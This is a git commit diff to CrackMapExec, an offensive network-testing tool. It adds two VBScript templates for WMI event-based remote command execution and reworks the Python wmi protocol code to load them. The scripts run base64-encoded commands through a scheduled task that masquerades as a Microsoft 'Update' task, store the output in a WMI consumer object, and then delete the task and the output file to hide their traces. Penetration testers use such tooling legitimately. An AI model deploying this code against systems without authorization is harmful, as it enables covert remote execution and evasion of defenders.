[wmi] neff review I

Signed-off-by: XiaoliChan <2209553467@qq.com>
main
XiaoliChan 2023-09-01 21:49:57 +08:00
parent 0650d29173
commit 1cefff34ee
7 changed files with 182 additions and 178 deletions

View File

@ -0,0 +1,56 @@
Dim command
command = Base64StringDecode("REPLACE_ME_BASE64_COMMAND")
Const TriggerTypeDaily = 1
Const ActionTypeExec = 0
Set service = CreateObject("Schedule.Service")
Call service.Connect
Dim rootFolder
Set rootFolder = service.GetFolder("\")
Dim taskDefinition
Set taskDefinition = service.NewTask(0)
Dim regInfo
Set regInfo = taskDefinition.RegistrationInfo
regInfo.Description = "Update"
regInfo.Author = "Microsoft"
Dim settings
Set settings = taskDefinition.settings
settings.Enabled = True
settings.StartWhenAvailable = True
settings.Hidden = False
settings.DisallowStartIfOnBatteries = False
Dim triggers
Set triggers = taskDefinition.triggers
Dim trigger
Set trigger = triggers.Create(7)
Dim Action
Set Action = taskDefinition.Actions.Create(ActionTypeExec)
Action.Path = "c:\windows\system32\cmd.exe"
Action.arguments = "/Q /c " & command
Dim objNet, LoginUser
Set objNet = CreateObject("WScript.Network")
LoginUser = objNet.UserName
If UCase(LoginUser) = "SYSTEM" Then
Else
LoginUser = Empty
End If
Call rootFolder.RegisterTaskDefinition("REPLACE_ME_TEMP_TASKNAME", taskDefinition, 6, LoginUser, , 3)
Call rootFolder.DeleteTask("REPLACE_ME_TEMP_TASKNAME",0)
Function Base64StringDecode(ByVal vCode)
Set oXML = CreateObject("Msxml2.DOMDocument")
Set oNode = oXML.CreateElement("base64")
oNode.dataType = "bin.base64"
oNode.text = vCode
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = 1
BinaryStream.Open
BinaryStream.Write oNode.nodeTypedValue
BinaryStream.Position = 0
BinaryStream.Type = 2
' All Format => utf-16le - utf-8 - utf-16le
BinaryStream.CharSet = "utf-8"
Base64StringDecode = BinaryStream.ReadText
Set BinaryStream = Nothing
Set oNode = Nothing
End Function

View File

@ -0,0 +1,102 @@
Dim command, outputPath
command = Base64StringDecode("REPLACE_ME_BASE64_COMMAND")
outputPath = "C:\Windows\Temp\REPLACE_ME_OUTPUT_FILE"
On Error Resume Next
Set objTestNewInst = GetObject("Winmgmts:root\subscription:ActiveScriptEventConsumer.Name=""REPLACE_ME_INSTANCEID""")
If Err.Number <> 0 Then
Err.Clear
If FileExists(outputPath) Then
inputFile = outputPath
Set inStream = CreateObject("ADODB.Stream")
inStream.Open
inStream.type= 1 'TypeBinary
inStream.LoadFromFile(inputFile)
readBytes = inStream.Read()
Set oXML = CreateObject("Msxml2.DOMDocument")
Set oNode = oXML.CreateElement("base64")
oNode.dataType = "bin.base64"
oNode.nodeTypedValue = readBytes
Base64Encode = oNode.text
' Write back into wmi class
wbemCimtypeString = 8
Set objClass = GetObject("Winmgmts:root\subscription:ActiveScriptEventConsumer")
Set objInstance = objClass.spawninstance_
objInstance.name="REPLACE_ME_INSTANCEID"
objInstance.scriptingengine="vbscript"
objInstance.scripttext = Base64Encode
objInstance.put_
Else
Const TriggerTypeDaily = 1
Const ActionTypeExec = 0
Set service = CreateObject("Schedule.Service")
Call service.Connect
Dim rootFolder
Set rootFolder = service.GetFolder("\")
Dim taskDefinition
Set taskDefinition = service.NewTask(0)
Dim regInfo
Set regInfo = taskDefinition.RegistrationInfo
regInfo.Description = "Update"
regInfo.Author = "Microsoft"
Dim settings
Set settings = taskDefinition.settings
settings.Enabled = True
settings.StartWhenAvailable = True
settings.Hidden = False
settings.DisallowStartIfOnBatteries = False
Dim triggers
Set triggers = taskDefinition.triggers
Dim trigger
Set trigger = triggers.Create(7)
Dim Action
Set Action = taskDefinition.Actions.Create(ActionTypeExec)
Action.Path = "c:\windows\system32\cmd.exe"
Action.arguments = "/Q /c " & command & " 1> " & outputPath & " 2>&1"
Dim objNet, LoginUser
Set objNet = CreateObject("WScript.Network")
LoginUser = objNet.UserName
If UCase(LoginUser) = "SYSTEM" Then
Else
LoginUser = Empty
End If
Call rootFolder.RegisterTaskDefinition("REPLACE_ME_TEMP_TASKNAME", taskDefinition, 6, LoginUser, , 3)
Call rootFolder.DeleteTask("REPLACE_ME_TEMP_TASKNAME",0)
End If
Else
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
fso.DeleteFile(outputPath)
If Err.Number <> 0 Then
Err.Clear
End If
End If
Function FileExists(FilePath)
Set fso = CreateObject("Scripting.FileSystemObject")
If fso.FileExists(FilePath) Then
FileExists=CBool(1)
Else
FileExists=CBool(0)
End If
End Function
Function Base64StringDecode(ByVal vCode)
Set oXML = CreateObject("Msxml2.DOMDocument")
Set oNode = oXML.CreateElement("base64")
oNode.dataType = "bin.base64"
oNode.text = vCode
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = 1
BinaryStream.Open
BinaryStream.Write oNode.nodeTypedValue
BinaryStream.Position = 0
BinaryStream.Type = 2
' All Format => utf-16le - utf-8 - utf-16le
BinaryStream.CharSet = "utf-8"
Base64StringDecode = BinaryStream.ReadText
Set BinaryStream = Nothing
Set oNode = Nothing
End Function

View File

@ -13,7 +13,7 @@ class CMEModule:
name = "enum_dns" name = "enum_dns"
description = "Uses WMI to dump DNS from an AD DNS Server" description = "Uses WMI to dump DNS from an AD DNS Server"
supported_protocols = ["wmi"] supported_protocols = ["smb", "wmi"]
opsec_safe = True opsec_safe = True
multiple_hosts = True multiple_hosts = True

View File

@ -15,7 +15,7 @@ class CMEModule:
name = "get_netconnections" name = "get_netconnections"
description = "Uses WMI to query network connections." description = "Uses WMI to query network connections."
supported_protocols = ["wmi"] supported_protocols = ["smb", "wmi"]
opsec_safe = True opsec_safe = True
multiple_hosts = True multiple_hosts = True

View File

@ -50,17 +50,6 @@ class wmi(connection):
connection.__init__(self, args, db, host) connection.__init__(self, args, db, host)
def proto_flow(self):
self.proto_logger()
if self.create_conn_obj():
self.enum_host_info()
self.print_host_info()
if self.login():
if hasattr(self.args, 'module') and self.args.module:
self.call_modules()
else:
self.call_cmd_args()
def proto_logger(self): def proto_logger(self):
self.logger = CMEAdapter(extra={'protocol': 'WMI', self.logger = CMEAdapter(extra={'protocol': 'WMI',
'host': self.host, 'host': self.host,
@ -81,6 +70,7 @@ class wmi(connection):
dce.bind(MSRPC_UUID_PORTMAP) dce.bind(MSRPC_UUID_PORTMAP)
dce.disconnect() dce.disconnect()
except Exception as e: except Exception as e:
self.logger.debug(str(e))
return False return False
else: else:
self.conn = rpctansport self.conn = rpctansport
@ -247,6 +237,7 @@ class wmi(connection):
except Exception as e: except Exception as e:
dce.disconnect() dce.disconnect()
error_msg = str(e).lower() error_msg = str(e).lower()
self.logger.debug(error_msg)
if "unpack requires a buffer of 4 bytes" in error_msg: if "unpack requires a buffer of 4 bytes" in error_msg:
error_msg = "Kerberos authentication failure" error_msg = "Kerberos authentication failure"
out = f"{self.domain}\\{self.username}{used_ccache} {error_msg}" out = f"{self.domain}\\{self.username}{used_ccache} {error_msg}"
@ -274,6 +265,7 @@ class wmi(connection):
except Exception as e: except Exception as e:
dce.disconnect() dce.disconnect()
error_msg = str(e).lower() error_msg = str(e).lower()
self.logger.debug(error_msg)
for code in self.rpc_error_status.keys(): for code in self.rpc_error_status.keys():
if code in error_msg: if code in error_msg:
error_msg = self.rpc_error_status[code] error_msg = self.rpc_error_status[code]
@ -301,6 +293,7 @@ class wmi(connection):
dce.bind(MSRPC_UUID_PORTMAP) dce.bind(MSRPC_UUID_PORTMAP)
except Exception as e: except Exception as e:
dce.disconnect() dce.disconnect()
self.logger.debug(str(e))
out = f"{self.domain}\\{self.username}:{process_secret(self.password)} {str(e)}" out = f"{self.domain}\\{self.username}:{process_secret(self.password)} {str(e)}"
self.logger.fail(out, color="red") self.logger.fail(out, color="red")
else: else:
@ -318,6 +311,7 @@ class wmi(connection):
except Exception as e: except Exception as e:
dce.disconnect() dce.disconnect()
error_msg = str(e).lower() error_msg = str(e).lower()
self.logger.debug(error_msg)
for code in self.rpc_error_status.keys(): for code in self.rpc_error_status.keys():
if code in error_msg: if code in error_msg:
error_msg = self.rpc_error_status[code] error_msg = self.rpc_error_status[code]
@ -354,6 +348,7 @@ class wmi(connection):
dce.bind(MSRPC_UUID_PORTMAP) dce.bind(MSRPC_UUID_PORTMAP)
except Exception as e: except Exception as e:
dce.disconnect() dce.disconnect()
self.logger.debug(str(e))
out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {str(e)}" out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {str(e)}"
self.logger.fail(out, color="red") self.logger.fail(out, color="red")
else: else:
@ -371,6 +366,7 @@ class wmi(connection):
except Exception as e: except Exception as e:
dce.disconnect() dce.disconnect()
error_msg = str(e).lower() error_msg = str(e).lower()
self.logger.debug(error_msg)
for code in self.rpc_error_status.keys(): for code in self.rpc_error_status.keys():
if code in error_msg: if code in error_msg:
error_msg = self.rpc_error_status[code] error_msg = self.rpc_error_status[code]
@ -404,8 +400,9 @@ class wmi(connection):
iWbemLevel1Login.RemRelease() iWbemLevel1Login.RemRelease()
iEnumWbemClassObject = iWbemServices.ExecQuery(WQL) iEnumWbemClassObject = iWbemServices.ExecQuery(WQL)
except Exception as e: except Exception as e:
self.logger.fail('Execute WQL error: {}'.format(e))
dcom.disconnect() dcom.disconnect()
self.logger.debug(str(e))
self.logger.fail('Execute WQL error: {}'.format(str(e)))
return False return False
else: else:
self.logger.info(f"Executing WQL syntax: {WQL}") self.logger.info(f"Executing WQL syntax: {WQL}")
@ -418,7 +415,7 @@ class wmi(connection):
self.logger.highlight(f"{k} => {v['value']}") self.logger.highlight(f"{k} => {v['value']}")
except Exception as e: except Exception as e:
if str(e).find('S_FALSE') < 0: if str(e).find('S_FALSE') < 0:
raise e self.logger.debug(str(e))
else: else:
break break

View File

@ -22,7 +22,7 @@ def proto_args(parser, std_parser, module_parser):
help="method to execute the command. (default: wmiexec). " help="method to execute the command. (default: wmiexec). "
"[wmiexec (win32_process + StdRegProv)]: get command results over registry instead of using smb connection. " "[wmiexec (win32_process + StdRegProv)]: get command results over registry instead of using smb connection. "
"[wmiexec-event (T1546.003)]: this method is not very stable, highly recommend use this method in single host, " "[wmiexec-event (T1546.003)]: this method is not very stable, highly recommend use this method in single host, "
"use in multiple hosts will may get crash. (try again if you get crash.)") "using on multiple hosts may crash (just try again if it crashed).")
cgroup.add_argument("--interval-time", default=5 ,metavar='INTERVAL_TIME', dest='interval_time', type=int, help='Set interval time(seconds) when executing command, unrecommend set it lower than 5') cgroup.add_argument("--interval-time", default=5 ,metavar='INTERVAL_TIME', dest='interval_time', type=int, help='Set interval time(seconds) when executing command, unrecommend set it lower than 5')
cgroup.add_argument("--codec", default="utf-8", cgroup.add_argument("--codec", default="utf-8",
help="Set encoding used (codec) from the target's output (default " help="Set encoding used (codec) from the target's output (default "

View File

@ -30,6 +30,7 @@ import base64
import sys import sys
from io import StringIO from io import StringIO
from cme.helpers.powershell import get_ps_script
from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom.wmi import WBEMSTATUS from impacket.dcerpc.v5.dcom.wmi import WBEMSTATUS
@ -101,171 +102,19 @@ class WMIEXEC_EVENT:
# but we can base64 encode it and submit the data without spcial charters to avoid it. # but we can base64 encode it and submit the data without spcial charters to avoid it.
if self.__retOutput: if self.__retOutput:
output_file = f"{str(uuid.uuid4())}.txt" output_file = f"{str(uuid.uuid4())}.txt"
vbs = fr''' with open(get_ps_script("wmiexec_event_vbscripts/Exec_Command_WithOutput.vbs"), "r") as vbs_file:
Dim command, outputPath vbs = vbs_file.read()
command = Base64StringDecode("{base64.b64encode(command.encode()).decode()}") vbs = vbs.replace("REPLACE_ME_BASE64_COMMAND", base64.b64encode(command.encode()).decode())
outputPath = "C:\Windows\Temp\{output_file}" vbs = vbs.replace("REPLACE_ME_OUTPUT_FILE", output_file)
vbs = vbs.replace("REPLACE_ME_INSTANCEID", self.__instanceID_StoreResult)
On Error Resume Next vbs = vbs.replace("REPLACE_ME_TEMP_TASKNAME", schedule_taskname)
Set objTestNewInst = GetObject("Winmgmts:root\subscription:ActiveScriptEventConsumer.Name=""{self.__instanceID_StoreResult}""")
If Err.Number <> 0 Then
Err.Clear
If FileExists(outputPath) Then
inputFile = outputPath
Set inStream = CreateObject("ADODB.Stream")
inStream.Open
inStream.type= 1 'TypeBinary
inStream.LoadFromFile(inputFile)
readBytes = inStream.Read()
Set oXML = CreateObject("Msxml2.DOMDocument")
Set oNode = oXML.CreateElement("base64")
oNode.dataType = "bin.base64"
oNode.nodeTypedValue = readBytes
Base64Encode = oNode.text
' Write back into wmi class
wbemCimtypeString = 8
Set objClass = GetObject("Winmgmts:root\subscription:ActiveScriptEventConsumer")
Set objInstance = objClass.spawninstance_
objInstance.name="{self.__instanceID_StoreResult}"
objInstance.scriptingengine="vbscript"
objInstance.scripttext = Base64Encode
objInstance.put_
Else
Const TriggerTypeDaily = 1
Const ActionTypeExec = 0
Set service = CreateObject("Schedule.Service")
Call service.Connect
Dim rootFolder
Set rootFolder = service.GetFolder("\")
Dim taskDefinition
Set taskDefinition = service.NewTask(0)
Dim regInfo
Set regInfo = taskDefinition.RegistrationInfo
regInfo.Description = "Update"
regInfo.Author = "Microsoft"
Dim settings
Set settings = taskDefinition.settings
settings.Enabled = True
settings.StartWhenAvailable = True
settings.Hidden = False
settings.DisallowStartIfOnBatteries = False
Dim triggers
Set triggers = taskDefinition.triggers
Dim trigger
Set trigger = triggers.Create(7)
Dim Action
Set Action = taskDefinition.Actions.Create(ActionTypeExec)
Action.Path = "c:\windows\system32\cmd.exe"
Action.arguments = "/Q /c " & command & " 1> " & outputPath & " 2>&1"
Dim objNet, LoginUser
Set objNet = CreateObject("WScript.Network")
LoginUser = objNet.UserName
If UCase(LoginUser) = "SYSTEM" Then
Else
LoginUser = Empty
End If
Call rootFolder.RegisterTaskDefinition("{schedule_taskname}", taskDefinition, 6, LoginUser, , 3)
Call rootFolder.DeleteTask("{schedule_taskname}",0)
End If
Else
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
fso.DeleteFile(outputPath)
If Err.Number <> 0 Then
Err.Clear
End If
End If
Function FileExists(FilePath)
Set fso = CreateObject("Scripting.FileSystemObject")
If fso.FileExists(FilePath) Then
FileExists=CBool(1)
Else
FileExists=CBool(0)
End If
End Function
Function Base64StringDecode(ByVal vCode)
Set oXML = CreateObject("Msxml2.DOMDocument")
Set oNode = oXML.CreateElement("base64")
oNode.dataType = "bin.base64"
oNode.text = vCode
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = 1
BinaryStream.Open
BinaryStream.Write oNode.nodeTypedValue
BinaryStream.Position = 0
BinaryStream.Type = 2
' All Format => utf-16le - utf-8 - utf-16le
BinaryStream.CharSet = "utf-8"
Base64StringDecode = BinaryStream.ReadText
Set BinaryStream = Nothing
Set oNode = Nothing
End Function
'''
else: else:
# From wmihacker # From wmihacker
# Link: https://github.com/rootclay/WMIHACKER/blob/master/WMIHACKER_0.6.vbs # Link: https://github.com/rootclay/WMIHACKER/blob/master/WMIHACKER_0.6.vbs
vbs = fr''' with open(get_ps_script("wmiexec_event_vbscripts/Exec_Command_Silent.vbs"), "r") as vbs_file:
Dim command vbs = vbs_file.read()
command = Base64StringDecode("{base64.b64encode(command.encode()).decode()}") vbs = vbs.replace("REPLACE_ME_BASE64_COMMAND", base64.b64encode(command.encode()).decode())
vbs = vbs.replace("REPLACE_ME_TEMP_TASKNAME", schedule_taskname)
Const TriggerTypeDaily = 1
Const ActionTypeExec = 0
Set service = CreateObject("Schedule.Service")
Call service.Connect
Dim rootFolder
Set rootFolder = service.GetFolder("\")
Dim taskDefinition
Set taskDefinition = service.NewTask(0)
Dim regInfo
Set regInfo = taskDefinition.RegistrationInfo
regInfo.Description = "Update"
regInfo.Author = "Microsoft"
Dim settings
Set settings = taskDefinition.settings
settings.Enabled = True
settings.StartWhenAvailable = True
settings.Hidden = False
settings.DisallowStartIfOnBatteries = False
Dim triggers
Set triggers = taskDefinition.triggers
Dim trigger
Set trigger = triggers.Create(7)
Dim Action
Set Action = taskDefinition.Actions.Create(ActionTypeExec)
Action.Path = "c:\windows\system32\cmd.exe"
Action.arguments = "/Q /c " & command
Dim objNet, LoginUser
Set objNet = CreateObject("WScript.Network")
LoginUser = objNet.UserName
If UCase(LoginUser) = "SYSTEM" Then
Else
LoginUser = Empty
End If
Call rootFolder.RegisterTaskDefinition("{schedule_taskname}", taskDefinition, 6, LoginUser, , 3)
Call rootFolder.DeleteTask("{schedule_taskname}",0)
Function Base64StringDecode(ByVal vCode)
Set oXML = CreateObject("Msxml2.DOMDocument")
Set oNode = oXML.CreateElement("base64")
oNode.dataType = "bin.base64"
oNode.text = vCode
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = 1
BinaryStream.Open
BinaryStream.Write oNode.nodeTypedValue
BinaryStream.Position = 0
BinaryStream.Type = 2
' All Format => utf-16le - utf-8 - utf-16le
BinaryStream.CharSet = "utf-8"
Base64StringDecode = BinaryStream.ReadText
Set BinaryStream = Nothing
Set oNode = Nothing
End Function
'''
return vbs return vbs
def checkError(self, banner, call_status): def checkError(self, banner, call_status):